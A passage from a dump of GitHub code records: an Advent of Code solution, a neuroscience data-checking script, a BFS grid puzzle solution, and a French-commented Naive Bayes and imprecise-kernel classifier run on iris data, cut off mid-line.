detection.\")\n\n    main(parser.parse_args())\n\n\n","repo_name":"ndeily123/VolumeComp","sub_path":"volumeComp.py","file_name":"volumeComp.py","file_ext":"py","file_size_in_byte":6117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"13320060315","text":"data = open(\"./2021/day3/input.txt\").read()\nrows = data.splitlines()\nones = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nrowCountHalf = len(rows) / 2\nd = 0\n\nfor r in rows:\n    for i in range(len(r)):\n        if r[i] == \"1\":\n            ones[i] += 1\n\nbinGamma = \"\"\nbinEpsilon = \"\"\nfor i in ones:\n    if i > rowCountHalf:\n        binGamma += \"1\"\n        binEpsilon += \"0\"\n    else:\n        binGamma += \"0\"\n        binEpsilon += \"1\"\n\ngamma = int(binGamma, base=2)\nepsilon = int(binEpsilon, base=2)\nprint(\"binGamma\", binGamma, gamma)\nprint(\"binEpsilon\", binEpsilon, epsilon)\nprint(\"mult\", gamma * epsilon)\n","repo_name":"niklasr22/AoC","sub_path":"2021/day3/day3a.py","file_name":"day3a.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40249814404","text":"\"\"\"just try replicating the following line of final_automated.m\n\nget_time_delay_automated('042318', '8000a', [1, 2, 3, 4, 5, 6]);\n\"\"\"\nfrom os.path import join\n\nfrom scipy.io import loadmat\nimport numpy as np\nimport h5py\n\nfrom thesis_v2 import dir_dict\nfrom thesis_v2.spike_data_processing.yuanyuan_8k import config_8k\n\n\ndef main():\n    for prefix in config_8k.get_file_names(flat=False).keys():\n        print(f'check {prefix}')\n        with h5py.File(join(config_8k.result_root_dir, 'time_delay.hdf5'), 'r') as f:\n            best_delay = f[prefix]['best_delay'][()] - 100\n            best_correlation = f[prefix]['best_correlation'][()]\n\n        # load reference file.\n        ref_data = loadmat(join(dir_dict['private_data'], 'yuanyuan_8k', 'delay', f'delay_{prefix}.mat'))\n        best_delay_ref = ref_data['time_delay'].ravel()\n        assert np.array_equal(best_delay_ref, best_delay)\n        best_correlation_ref = ref_data['neurons'][2]\n        assert best_correlation_ref.shape == best_correlation.shape\n        print(abs(best_correlation_ref - best_correlation).max())\n        assert abs(best_correlation_ref - best_correlation).max() < 1e-8\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"leelabcnbc/thesis-yimeng-v2","sub_path":"scripts/debug/spike_data_processing/yuanyuan_8k/time_delay.py","file_name":"time_delay.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"13979328126","text":"from copy import deepcopy\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\n\r\ndef bfs(start, end, color, input_arr):\r\n    visited = [[0] * N for _ in range(N)]\r\n    que = []\r\n    que.append((start, end))\r\n    visited[start][end] = 1\r\n    input_arr[start][end] = 0\r\n    while que:\r\n        i, j = que.pop(0)\r\n        for k in range(4):\r\n            ni, nj = i + di[k], j + dj[k]\r\n            if 0 <= ni < N and 0 <= nj < N:\r\n                if input_arr[ni][nj] == color and visited[ni][nj] == 0:\r\n                    input_arr[ni][nj] = 0\r\n                    que.append((ni, nj))\r\n                    visited[ni][nj] = 1\r\n    return input_arr\r\n                         \r\n\r\ndi = [1, 0, -1, 0]\r\ndj = [0, 1, 0, -1]\r\nN = int(input())\r\narr = [list(input()) for _ in range(N)]\r\narr_green = deepcopy(arr)\r\ncolors = ['R', 'G', 'B']\r\ncnt = 0\r\ncnt_green = 0\r\nfor i in range(N):\r\n    for j in range(N):\r\n        if arr_green[i][j] == 'G':\r\n            arr_green[i][j] = 'R'\r\n\r\n\r\nfor i in range(N):\r\n    for j in range(N):\r\n        if arr[i][j] in colors:\r\n            arr = bfs(i, j, arr[i][j], arr)\r\n            cnt += 1\r\n        if arr_green[i][j] in colors:\r\n            arr_green = bfs(i, j, arr_green[i][j], arr_green)\r\n            cnt_green += 1\r\n\r\nprint(cnt, cnt_green)","repo_name":"megar0829/algorithm","sub_path":"백준/Gold/10026. 적록색약/적록색약.py","file_name":"적록색약.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43057665912","text":"# NAIVE BAYE SFROM SCRATCH AVEC : https://machinelearningmastery.com/naive-bayes-classifier-scratch-python/\n\n\n# 1 ) On importe les données\n\nimport csv\ndef loadCsv(filename):\n\tlines = csv.reader(open(filename,\"rt\"))\n\tdataset = list(lines)\n\tfor i in range(len(dataset)):\n\t\tdataset[i] = [float(x) for x in  dataset[i]]\n\treturn dataset\n\n# Test import : IT WORKS\n\n#filename = 'pima-indians-diabetes.data.csv'\n#dataset = loadCsv(filename=filename)\n#print('load data au format',filename, 'avec', len(dataset) ,'lignes ')\n\n# Séparation des données\n\nimport random\ndef splitDataset(dataset,splitRatio):\n\ttrainSize = int(len(dataset)*splitRatio)\n\ttrainSet = []\n\tcopy = list(dataset)\n\twhile (len(trainSet)<trainSize):\n\t\tindex=random.randrange(len(copy))\n\t\ttrainSet.append(copy.pop(index))\n\treturn [trainSet,copy]\n\n# Test split : IT WORKS\n\n#dataset = [[1],[2],[3],[4],[5]]\n#splitRatio = (2/3)\n#train, test = splitDataset(dataset=dataset, splitRatio=splitRatio)\n#print('on a split avec en test :',test,'et en train : ',train)\n\n\n# 2 ) Sommaire des données\n\n# Separation des données\n\n# On ajoute une variable qui définit la colonne qui contient la réponse = la classe dans le dataset\ndef separateByClass(dataset,columnWithClassResponse):\n\tseparated = {}\n\tfor i in range(len(dataset)):\n\t\tvector = dataset[i]\n\t\t# On crée la ligne de la classe si elle existe pas\n\t\tif ( vector[columnWithClassResponse] not in separated):\n\t\t\tseparated[vector[columnWithClassResponse]]=[]\n\t\tseparated[vector[columnWithClassResponse]].append(vector)\n\treturn separated\n\n# Test separation des donnees : IT WORKS\n\n#dataset = [[1,20,1],[2,34,4],[1,34,4],[2,20,1]]\n#separated0 = separateByClass(dataset=dataset, columnWithClassResponse=0)\n#separated1 = separateByClass(dataset=dataset, columnWithClassResponse=1)\n#separated_1 = separateByClass(dataset=dataset, columnWithClassResponse=-1)\n#print('separation 1 sur col 0', separated0)\n#print('separation 2 sur col 1', separated1)\n#print('separation 3 sur col -1', separated_1)\n\n\n# Calcul de données de stats :\n\nimport math\ndef mean(numbers):\n\treturn sum(numbers)/len(numbers)\n\ndef stdev2(numbers):\n\tavg = mean(numbers=numbers)\n\tvariance = sum([pow(x-avg,2)for x in numbers])/float(len(numbers)-1)\n\treturn math.sqrt(variance)\n\n# Test : IT WORKS\n#numbers = [1,2,3,4,5]\n#print('moyenne',mean(numbers=numbers))\n#print('variance', stdev(numbers=numbers))\n\n#Sommaire des données : mode général :\n#The zip function groups the values for each attribute across our data instances\n# #into their own lists so that we can compute the mean and standard deviation values for the attribute.\n# On ajoute la frequence de la classe y comme approximation de p(y)\ndef summarize(dataset,columnWithClassResponse,frequence_y):\n\tsummary = [(mean(attribute), stdev2(attribute),frequence_y) for attribute in zip(*dataset)]\n\tdel summary[columnWithClassResponse]\n\treturn summary\n\n# Test summarize : IT WORKS\n#dataset = [[1,20,1],[2,34,4],[1,34,4],[2,20,1]]\n#frequence_y=0.8\n#summary0 = summarize(dataset=dataset, columnWithClassResponse=0,frequence_y=frequence_y)\n#summary1 = summarize(dataset=dataset, columnWithClassResponse=1,frequence_y=frequnce_y)\n#summary_1 = summarize(dataset=dataset, columnWithClassResponse=-1,frequence_y=frequnce_y)\n#print('sommaire 1 en enlevant col 0', summary0)\n#print('sommaire 2 en enlevant col 1', summary1)\n#print('sommaire 3 en enlevant col -1', summary_1)\n\n# Sommaire par classe !\ndef summarizedByClass(dataset,columnWithClassResponse):\n\tseparated = separateByClass(dataset=dataset,columnWithClassResponse=columnWithClassResponse)\n\tsummaries = {}\n\tfor classValue, instance in separated.items():\n\t\t# On ajoute la frequence d'apparition de la classe comme approximation de p(y)\n\t\tfrequence_y=(len(instance) / len(dataset))\n\t\tsummaries[classValue] = summarize(dataset=instance,columnWithClassResponse=columnWithClassResponse,frequence_y=frequence_y)\n\treturn summaries\n\n# Test summarizeByClass : IT WORKS\n#dataset = [[1,20,1],[2,34,4],[1,34,4],[2,20,1],[1,24,4],[3,4,4],[3,4,4]]\n#summaryByC0 = summarizedByClass(dataset=dataset, columnWithClassResponse=0)\n#summaryByC1 = summarizedByClass(dataset=dataset, columnWithClassResponse=1)\n#summaryByC_1 = summarizedByClass(dataset=dataset, columnWithClassResponse=-1)\n#print('sommaire 1 par classe en col 0', summaryByC0)\n#print('sommaire 2 par classe en col col 1', summaryByC1)\n#print('sommaire 3 par classe en col col -1', summaryByC_1)\n\n\n\n# 3 ) Make predictions : CAS NAIVE BAYES\n\n#Calculate Gaussian Probability Density Function\n#C'est cette fonction qui devra être changée et donc on fera la MAJ avec les fonctions de notre kernel !\nimport math\n# Ici on devra faire 2 parties :\n# une pour proba haute et une autre pour proba basse\n#CALCUL PROBA CONDITIONNELLE\ndef calculateProbabilityNaiveBayes(x, mean, stdev2):\n\texponent = math.exp(-(math.pow(x-mean,2)/(2*math.pow(stdev2,2))))\n\treturn (1/(math.sqrt(2*math.pi)*stdev2)) *exponent\n\n# Test calcul proba : IT WORKS !\n#x = 71.5\n#mean = 73\n#stdev = 6.2\n#frequence_y=0.5\n#probability = calculateProbability(x=x,mean=mean,stdev=stdev,frequence_y=frequence_y)\n#print('Proba de x = 71.5 d appartenir a la classe de moyenne 71.5 et stdev 6.2 selon Naive Bayes:',probability)\n\n# Calcul des probas de classes maintenant !\n\n'''\nNow that we can calculate the probability of an attribute belonging to a class,\nwe can combine the probabilities of all of the attribute values for a data instance\nand come up with a probability of the entire data instance belonging to the class.\n\nWe combine probabilities together by multiplying them. In the calculateClassProbabilities() below,\nthe probability of a given data instance is calculated by multiplying together\nthe attribute probabilities for each class. the result is a map of class values to probabilities.\n'''\n\ndef calculateClassProbabilitiesNaiveBayes(summaries,inputVector): #,columnWithClassResponse): Pas important ici je pense\n\tprobabilities = {}\n\tfor classValue,classSummaries in summaries.items():\n\t\tprobabilities[classValue] = 1 #Initialisation pour la multiplication ensuite des probas\n\t\tfor i in range(len(classSummaries)):\n\t\t\tmean, stdev2, frequence_y = classSummaries[i]\n\t\t\tx = inputVector[i]\n\t\t\tprobabilities[classValue] *= calculateProbabilityNaiveBayes(x=x, mean=mean, stdev2=stdev2)\n\t\t\tprobabilities[classValue] *= frequence_y # multiplication par l'estimation de p(y)\n\treturn probabilities\n\n#Test proba par classe : IT WORKS\n#summaries = {0:[(1, 0.5,.8)], 1:[(20, 5.0,.2)]}\n#inputVector = [1.1] # pas besoin ici de mettre une fausse valeur en y ou même de faire inputVector = [1.1, ]\n#probabilities = calculateClassProbabilities(summaries, inputVector)\n#print('Probabilities for each class: ',probabilities)\n\n# 4 ) Prédictions !\n\n# Retourner 1 prediction :\n\ndef predictNaiveBayes(summaries, inputVector):\n\tprobabilities = calculateClassProbabilitiesNaiveBayes(summaries, inputVector)\n\tbestLabel, bestProb = None, -1\n\tfor classValue, probability in probabilities.items():\n\t\tif bestLabel is None or probability > bestProb:\n\t\t\tbestProb = probability\n\t\t\tbestLabel = classValue\n\treturn bestLabel\n\n# Test prediction : IT WORKS\n\n#summaries = {0:[(1, 0.5)], 1:[(20, 5.0)]}\n#inputVector = [20.1] # pas besoin ici de mettre une fausse valeur en y ou même de faire inputVector = [1.1, ]\n#prediction = predict(summaries, inputVector)\n#print('Prediction de la classe class: ',prediction)\n\n# Predictions sur un jeu de test complet :\ndef getPredictionsNaiveBayes(summaries, testSet):\n\tpredictions = []\n\tfor i in range(len(testSet)):\n\t\tresult = predictNaiveBayes(summaries, testSet[i])\n\t\tpredictions.append(result)\n\treturn predictions\n\n# Test : IT WORKS\n#summaries = {'A':[(1, 0.5)], 'B':[(20, 5.0)]}\n#testSet = [[1.1], [19.1],[18],[0]]\n#predictions = getPredictions(summaries, testSet)\n#print('Predictions: ',predictions)\n\n# 5 ) Moyenne des erreurs :\n\ndef getAccuracyNaiveBayes(testSet, predictions, columnWithClassResponse):\n\tcorrect = 0\n\tfor x in range(len(testSet)):\n\t\tif testSet[x][columnWithClassResponse] == predictions[x]:\n\t\t\tcorrect += 1\n\treturn (correct/float(len(testSet))) * 100.0\n\n# Test :\n#testSet = [[1,1,1,'a'], [2,2,2,'a'], [3,3,3,'b']]\n#predictions = ['a', 'a', 'a']\n#accuracy = getAccuracy(testSet, predictions,3)\n#print('Accuracy: ',accuracy)\n\n\n\n\n# ADAPTATION D UNE PARTIE DU CODE POUR L UTILISATION DE NOTRE KERNEL IMPRECIS :\n# 3 ) Make predictions :\n\n# ON UTILISE LES FONCTIONS DU KERNEL PLUTOT QUE CELLE LA POUR NOS ESTIMATION\n\ndef InitHOptKernelImprecise(dataset):\n\tfrom statistics import stdev\n\tsigma=stdev(dataset)\n\thOpt = 1.06 * sigma * (len(dataset)) ** (-1 / 5)\n\treturn hOpt\n\n\n#Cette fonction est la MAJ avec les fonctions de notre kernel !\n#import math\n# Ici on devra faire 2 parties :\n# une pour proba haute et une autre pour proba basse\n\nimport math\ndef calculsDi(x,Xi):\n\tsumDi = 0\n\t#print('Xi = ',Xi)\n\t#print('x= ',x)\n\tfor i in range(len(Xi)):\n\t\tsumDi += abs(x-Xi[i])\n\tmeanDi = sumDi/len(Xi)\n\treturn sumDi, meanDi\n\n#CALCUL PROBA CONDITIONNELLE\ndef calculateLowProbabilityImpreciseKernel(x, dataset, h,epsilon,N):\n\t#TRIER LES DONNEES DU DATASET ET ENSUITE MAJ LA SOMME A CHAQUE ITERATION :)\n\tsortedDataset = sorted(dataset)\n\n\tn = len(dataset)\n\tprint('hOpt = ',h)\n\tprint('EPSILON=',epsilon)\n\tf_i_moins_epsilon = []\n\tf_i_plus_epsilon = []\n\tf_i_moins_Di = []\n\tf_i_plus_Di = []\n\tDi=[]\n\tf_i_moins_Di.append(10**5)\n\tf_i_plus_Di.append(10**5)\n\tf_i_moins_epsilon.append(10**5)\n\tf_i_plus_epsilon.append(10**5)\n\tfor i in range(n):\n\t\tDi.append(abs(x - sortedDataset[i])) # Mise à part car on a besoin de D(i+1) après\n\tfor i in range(n):\n\t\t#print(' i = ',i)\n\t\t#print('x= ',x)\n\t\t#print('dataset ',i,' = ',dataset[i])\n\t\tsumDi, meanDi = calculsDi(x, sortedDataset[0:i+1])\n\t\t#print('Di= ',Di[i])\n\t\tif(h>epsilon and i == (n-1)):\n\t\t\tf_i_moins_epsilon.append(((i+1)/(N*(h-epsilon))) - (sumDi)/(N*((h-epsilon)**2)))\n\t\t\t#print('h>epsilon and i == (n-1), F i moins epsilon = ', f_i_moins_epsilon[(len(f_i_moins_epsilon)-1)])\n\t\tif(i == (n-1)):\n\t\t\tf_i_plus_epsilon.append((((i+1)/(N*(h+epsilon))) - (sumDi)/(N*((h+epsilon)**2))))\n\t\t\t#print('CAS PLUS EPSILON i == (n-1), F i plus epsilon = ', f_i_plus_epsilon[(len(f_i_plus_epsilon)-1)])\n\t\tif(Di[i]<2*epsilon and x!= Di[i]):\n\t\t\tf_i_moins_Di.append(((i+1) / (N * (x - Di[i]))) - (sumDi) / (N * ((x - Di[i]) ** 2)))\n\t\t\t#print('i ==',i,', F i moins Di = ', f_i_moins_Di[(len(f_i_moins_Di)-1)])\n\t\t\tf_i_plus_Di.append((((i+1) / (N * (x + Di[i]))) - (sumDi) / (N * ((x + Di[i]) ** 2))))\n\t\t\t#print('i == ',i,', F i plus Di = ', f_i_plus_Di[(len(f_i_plus_Di)-1)])\n\tlowProbability = min(min(f_i_moins_epsilon),min(f_i_plus_epsilon),min(f_i_moins_Di),min(f_i_plus_Di))\n\tif lowProbability < 0:\n\t\tlowProbability = 0\n\t#print('Low probability = ', lowProbability, 'avec hOpt = ',h)\n\treturn lowProbability\n\ndef calculateHightProbabilityImpreciseKernel(x, dataset, h,epsilon,N):\n\t# TRIER LES DONNEES DU DATASET ET ENSUITE MAJ LA SOMME A CHAQUE ITERATION :)\n\tsortedDataset = sorted(dataset)\n\tn = len(dataset)\n\t#print('n=', n)\n\tf_i_moins_epsilon = []\n\tf_i_plus_epsilon = []\n\tf_i_moins_Di = []\n\tf_i_plus_Di = []\n\tf_i_2_E_Di = []\n\tDi = []\n\tf_i_moins_Di.append(0)\n\tf_i_plus_Di.append(0)\n\tf_i_moins_epsilon.append(0)\n\tf_i_plus_epsilon.append(0)\n\tf_i_2_E_Di.append(0)\n\n\tfor i in range(n):\n\t\tDi.append(abs(x - sortedDataset[i])) # Mise à part car on a besoin de D(i+1) après\n\tfor i in range(n):\n\t\t#print(' i = ', i)\n\t\t#print('x= ', x)\n\t\t#print('dataset ', i, ' = ', dataset[i])\n\t\t#print('dataset trie : ',sortedDataset)\n\t\tsumDi, meanDi = calculsDi(x, sortedDataset[0:i+1])\n\t\t#print('Di= ', Di[i])\n\t\tif(h>epsilon and i == (n-1)):\n\t\t\tf_i_moins_epsilon.append(((i+1) / (N * (h - epsilon))) - (sumDi) / (N * ((h - epsilon) ** 2)))\n\t\t\t#print('F i moins epsilon = ', f_i_moins_epsilon[i])\n\t\tif(i == (n-1)):\n\t\t\tf_i_plus_epsilon.append((((i+1) / (N * (h + epsilon))) - (sumDi) / (N * ((h + epsilon) ** 2))))\n\t\t\t#print('F i plus epsilon = ', f_i_plus_epsilon[i])\n\t\tif(Di[i]<2*epsilon and x!= Di[i]):\n\t\t\tf_i_moins_Di.append(((i+1) / (N * (x - Di[i]))) - (sumDi) / (N * ((x - Di[i]) ** 2)))\n\t\t\t#print('F i moins Di = ', f_i_moins_Di[i])\n\t\t\tf_i_plus_Di.append((((i+1) / (N * (x + Di[i]))) - (sumDi) / (N * ((x + Di[i]) ** 2))))\n\t\t\t#print('F i plus Di = ', f_i_plus_Di[i])\n\t\tif(meanDi > Di[i] and i>=0 and i != (n-1) and meanDi < Di[i+1] ):\n\t\t\t#print('E(Di) = ',meanDi)\n\t\t\t#print('epsilon = ', epsilon)\n\t\t\tf_i_2_E_Di.append((((i+1) / (N * (2*meanDi))) - (sumDi) / (N * ((2*meanDi) ** 2))))\n\t\t\t#print('F i plus 2 E(Di) = ', f_i_2_E_Di[i])\n\n\thightProbability = max(max(f_i_moins_epsilon), max(f_i_plus_epsilon), max(f_i_moins_Di), max(f_i_plus_Di),max(f_i_2_E_Di))\n\n\t#print('Hight probability = ', hightProbability)\n\treturn hightProbability\n\n# Test calcul proba : IT WORKS !\n#x = 71.5\n#mean = 73\n#stdev = 6.2\n#frequence_y=0.5\n#lowProbability = calculateLowProbability(x=x,mean=mean,stdev=stdev)\n#hightProbability = calculateHightProbability(x=x,mean=mean,stdev=stdev)\n#print('Proba de x = 71.5 d appartenir a la classe de moyenne 71.5 et stdev 6.2 selon Naive Bayes:',probability)\n\n\n# Separation des classes en enlevant la colonne de la réponse:\n# On ajoute une variable qui définit la colonne qui contient la réponse = la classe dans le dataset\n# columnWithClassResponse doit être la premiere colonne (0) ou la dernière (-1)\ndef separateByClassWithoutResponse(dataset,columnWithClassResponse):\n\tseparated = {}\n\tfor i in range(len(dataset)):\n\t\tvector = dataset[i]\n\t\t# On crée la ligne de la classe si elle existe pas\n\t\tif ( vector[columnWithClassResponse] not in separated):\n\t\t\tseparated[vector[columnWithClassResponse]] = []\n\t\tif (columnWithClassResponse == -1):\n\t\t\tseparated[vector[columnWithClassResponse]].append(vector[0:columnWithClassResponse]) # On supprime la var avec la classe\n\t\telse:\n\t\t\tseparated[vector[columnWithClassResponse]].append(vector[1:])  # On supprime la var avec la classe\n\treturn separated\n\n\n# Calcul des probas de classes maintenant !\n\n'''\nNow that we can calculate the probability of an attribute belonging to a class,\nwe can combine the probabilities of all of the attribute values for a data instance\nand come up with a probability of the entire data instance belonging to the class.\n\nWe combine probabilities together by multiplying them. In the calculateClassProbabilities() below,\nthe probability of a given data instance is calculated by multiplying together\nthe attribute probabilities for each class. the result is a map of class values to probabilities.\n'''\n\n# FAIRE UNE INITIALISATION DES PARAMETRES POUR KERNEL IMPRECIS AVANT CETTE FONCTION\n# PASSER EN PARAMETRE CES DONNES POUR LA FONCTION SUIVANTE AFIN DE POUVOIR LANCER ComputeHMaxFromInterval\n\ndef calculateClassLowProbabilitiesImpreciseKernel(dataset,columnWithClassResponse,inputVector,margeEpsilon): #,columnWithClassResponse): Pas important ici je pense\n\tN = len(dataset)\n\tseparated = separateByClassWithoutResponse(dataset,columnWithClassResponse)\n\tdataset2 = []\n\thOpt=[]\n\tfor i in range(len(dataset)):\n\t\tif(columnWithClassResponse == -1):\n\t\t\tdataset2.append(dataset[i][0:columnWithClassResponse])\n\t\telse:\n\t\t\tdataset2.append(dataset[i][1:])\n\tdataset2Separated = [attribute1 for attribute1 in zip(*dataset2)]\n\tfor i in range(len(dataset2Separated)):\n\t\thOpt.append(InitHOptKernelImprecise(dataset2Separated[i]))\n\t#print(len(separated.items()))\n\tlowProbabilities = {}\n\tfor classValue,classDataset in separated.items():\n\t\t#print('classDataset :',classDataset)\n\t\t#print('len classDataset',len(classDataset))\n\t\t# Separation des colonnes pour qu'une colonne corresponde à une seule variable d'entrée\n\t\t#print('zip : ',zip(*classDataset))\n\t\tclassDatasetWithColSeparated = [attribute for attribute in zip(*classDataset)]\n\t\t#print('class : ',classDatasetWithColSeparated)\n\t\t#print(len(classDatasetWithColSeparated))\n\t\tlowProbabilities[classValue] = 1 #Initialisation pour la multiplication ensuite des probas\n\t\tfrequence_y = len(classDataset)/N\n\t\tfor i in range(len(classDatasetWithColSeparated)):\n\t\t\t#print(i)\n\t\t\tx = inputVector[i]\n\t\t\t#print(x)\n\t\t\t## CALCUL MEANDI ET SUMDI ET ENSUITE ON ENVOIE !\n\t\t\t#mean, stdev, frequence_y = classSummaries[i]\n\t\t\tlowProbabilities[classValue] *= calculateLowProbabilityImpreciseKernel(x=x, dataset=classDatasetWithColSeparated[i], h=hOpt[i], epsilon=margeEpsilon*hOpt[i], N=N)\n\t\t\tlowProbabilities[classValue] *= frequence_y # multiplication par l'estimation de p(y)\n\treturn lowProbabilities\n\n#testLow=calculateClassLowProbabilitiesImpreciseKernel(dataset=[[1,3,2,5],[2,6,3,5],[1,4,4,5]],columnWithClassResponse=0,inputVector=[4,7,7],hOpt=10,margeEpsilon=0.5)\n#print('testLow = ',testLow)\n\n\ndef calculateClassHightProbabilitiesImpreciseKernel(dataset,columnWithClassResponse,inputVector,margeEpsilon): #,columnWithClassResponse): Pas important ici je pense\n\tN = len(dataset)\n\tdataset2 = []\n\thOpt = []\n\tseparated = separateByClassWithoutResponse(dataset, columnWithClassResponse)\n\tfor i in range(len(dataset)):\n\t\tif (columnWithClassResponse == -1):\n\t\t\tdataset2.append(dataset[i][0:columnWithClassResponse])\n\t\telse:\n\t\t\tdataset2.append(dataset[i][1:])\n\tdataset2Separated = [attribute1 for attribute1 in zip(*dataset2)]\n\tfor i in range(len(dataset2Separated)):\n\t\thOpt.append(InitHOptKernelImprecise(dataset2Separated[i]))\n\t\t# print(len(separated.items()))\n\thightProbabilities = {}\n\tfor classValue, classDataset in separated.items():\n\t\t#print('classDataset :', classDataset)\n\t\t#print('len classDataset', len(classDataset))\n\t\t# Separation des colonnes pour qu'une colonne corresponde à une seule variable d'entrée\n\t\t# print('zip : ',zip(*classDataset))\n\t\tclassDatasetWithColSeparated = [attribute for attribute in zip(*classDataset)]\n\t\t# print('class : ',classDatasetWithColSeparated)\n\t\t# print(len(classDatasetWithColSeparated))\n\t\thightProbabilities[classValue] = 1  # Initialisation pour la multiplication ensuite des probas\n\t\tfrequence_y = len(classDataset) / N\n\t\tfor i in range(len(classDatasetWithColSeparated)):\n\t\t\t#print(i)\n\t\t\tx = inputVector[i]\n\t\t\t#print(x)\n\t\t\t## CALCUL MEANDI ET SUMDI ET ENSUITE ON ENVOIE !\n\t\t\t# mean, stdev, frequence_y = classSummaries[i]\n\t\t\thightProbabilities[classValue] *= calculateHightProbabilityImpreciseKernel(x=x,dataset=classDatasetWithColSeparated[i], h=hOpt[i], epsilon=margeEpsilon*hOpt[i], N=N)\n\t\t\thightProbabilities[classValue] *= frequence_y  # multiplication par l'estimation de p(y)\n\treturn hightProbabilities\n\n#testHight=calculateClassHightProbabilitiesImpreciseKernel(dataset=[[1,3,2,5],[2,6,3,5],[1,4,4,5]],columnWithClassResponse=0,inputVector=[4,7,7],hOpt=10,margeEpsilon=0.3)\n#print('testhight = ',testHight)\n\n#Test proba par classe : IT WORKS\n#summaries = {0:[(1, 0.5,.8)], 1:[(20, 5.0,.2)]}\n#inputVector = [1.1] # pas besoin ici de mettre une fausse valeur en y ou même de faire inputVector = [1.1, ]\n#probabilities = calculateClassProbabilities(summaries, inputVector)\n#print('Probabilities for each class: ',probabilities)\n\n# 4 ) Prédictions !\n\n# Retourner 1 prediction avec 1 ou plusieurs classes :\n\ndef predictImpreciseKernel(dataset,columnWithClassResponse,inputVector,margeEpsilon):\n\tlowProbabilities = calculateClassLowProbabilitiesImpreciseKernel(dataset,columnWithClassResponse,inputVector,margeEpsilon)\n\thightProbabilities = calculateClassHightProbabilitiesImpreciseKernel(dataset,columnWithClassResponse,inputVector,margeEpsilon)\n\tbestLabel = []\n\t#print('prediction de low probabilities : ',lowProbabilities)\n\tfor classValueLow,lowProba in lowProbabilities.items():\n\t\t#print('class Value = ',classValueLow)\n\t\t#print('lowProba =',lowProba)\n\t\ttjrsSup = 1\n\t\tfor classValueHight,hightProba in hightProbabilities.items():\n\t\t\tif classValueHight != classValueLow :\n\t\t\t\t#print('hightProba = ',hightProba)\n\t\t\t\tif lowProba > hightProba and tjrsSup == 1:\n\t\t\t\t\ttjrsSup = 1\n\t\t\t\telse:\n\t\t\t\t\ttjrsSup = 0\n\t\tif(tjrsSup == 1):\n\t\t\tbestLabel.append(classValueLow)\n\tif(bestLabel == []):\n\t\t#On teste si notre proba haute est inf à toutes les probas basses\n\t\t#Si c'est le cas on ne met pas la classe dans les potentielles classes de retour\n\t\t#Sinon on ajoute la classe aux classes de retour\n\t\tprint('passage par le deuxième cycle de comparaison avec pour hight :',hightProbabilities,' et pour low : ',lowProbabilities)\n\t\tfor classValueHight2, hightProba2 in hightProbabilities.items():\n\t\t\t#print('2e partie : class Value = ', classValueHight2)\n\t\t\t#print('2e partie : hightProba =', hightProba2)\n\t\t\ttjrsInf = 1\n\t\t\tfor classValueLow2, lowProba2 in lowProbabilities.items():\n\t\t\t\tif classValueHight2 != classValueLow2:\n\t\t\t\t\t#print('2e partie : lowProba = ', lowProba2)\n\t\t\t\t\tif lowProba2 > hightProba2 and tjrsInf == 1:\n\t\t\t\t\t\ttjrsInf = 1\n\t\t\t\t\telse:\n\t\t\t\t\t\ttjrsInf = 0\n\t\t\tif (tjrsInf != 1):\n\t\t\t\tbestLabel.append(classValueHight2)\n\n\treturn bestLabel\n\n# Test prediction : IT WORKS\n\n#testPredict=predictImpreciseKernel(dataset=[[1,3,2,5],[2,6,3,5],[1,3.5,2.2,5.1],[3,3,2,5],[3,3.5,2.2,5.1]],columnWithClassResponse=0,inputVector=[3.5,2.8,6],hOpt=5,margeEpsilon=0.1)\n#print('testpredict = ',testPredict)\n\n# Predictions sur un jeu de test complet :\ndef getPredictionsImpreciseKernel(dataset,columnWithClassResponse,testSet,margeEpsilon):\n\tpredictions = []\n\t#print('test set passé en argument =',testSet)\n\tfor i in range(len(testSet)):\n\t\tprint('test set de ',i,' = ',testSet[i])\n\t\tresult = predictImpreciseKernel(dataset,columnWithClassResponse,testSet[i], margeEpsilon)\n\t\tprint('resultat pour la ligne ',i,' : ',result)\n\t\tpredictions.append(result)\n\treturn predictions\n\n# Test : IT WORKS\n#testSet=[[3.5,2.8,6],[3,3,5],[10.1,12.1,14.1]]\n#testPredictions=getPredictionsImpreciseKernel(dataset=[[1,3,2,5],[2,10,12,14],[1,3.5,2.2,5.1],[3,3,2,5],[3,3.5,2.2,5.1]],columnWithClassResponse=0,testSet=testSet,hOpt=5,margeEpsilon=0.1)\n#print('testpredictions = ',testPredictions)\n\n# 5 ) Moyenne des erreurs :\n\ndef getAccuracyImpreciseKernel(testSet, predictions, columnWithClassResponse):\n\tcorrect = 0\n\tfor x in range(len(testSet)):\n\t\tif testSet[x][columnWithClassResponse] in predictions[x]:\n\t\t\tcorrect += 1/len(predictions[x])\n\treturn (correct/float(len(testSet))) * 100.0\n\n# Test :\n#testSet = [[1,1,1,'a'], [2,2,2,'a'], [3,3,3,'b']]\n#predictions = ['a', 'a', ['a','b']]\n#accuracy = getAccuracyImpreciseKernel(testSet, predictions,3)\n#print('Accuracy: ',accuracy)\n\n\n\n\n\n# CODE POUR LANCER LES FONCTIONS ET PREDIRE :\n\ndef main():\n\tfile = 'iris.data.csv'\n\tsplitRatio = 0.99\n\tdataset = loadCsv(file)\n\ttrainingSet, testSet = splitDataset(dataset, splitRatio)\n\t# prepare model\n\tprint('Split ',len(dataset),' rows into train=',len(trainingSet),' and test=',len(testSet),' rows')\n\tsummaries = summarizedByClass(trainingSet,columnWithClassResponse=4)\n\tprint('testSet = ',testSet)\n\ttestSet2 = []\n\tfor i in range(len(testSet)):\n\t\ttestSet2.append(testSet[i][0:4])\n\t# test model\n\t#predictionsNB = getPredictionsNaiveBayes(summaries, testSet)\n\tpredictionsIK = getPredictionsImpreciseKernel(dataset, columnWithClassResponse=-1,testSet=testSet2,margeEpsilon=0.5)\n\tprint('predictions IK =',predictionsIK)\n\t#accuracyNB = getAccuracyNaiveBayes(testSet, predictionsNB,(4))\n\taccuracyIK = getAccuracyImpreciseKernel(testSet, 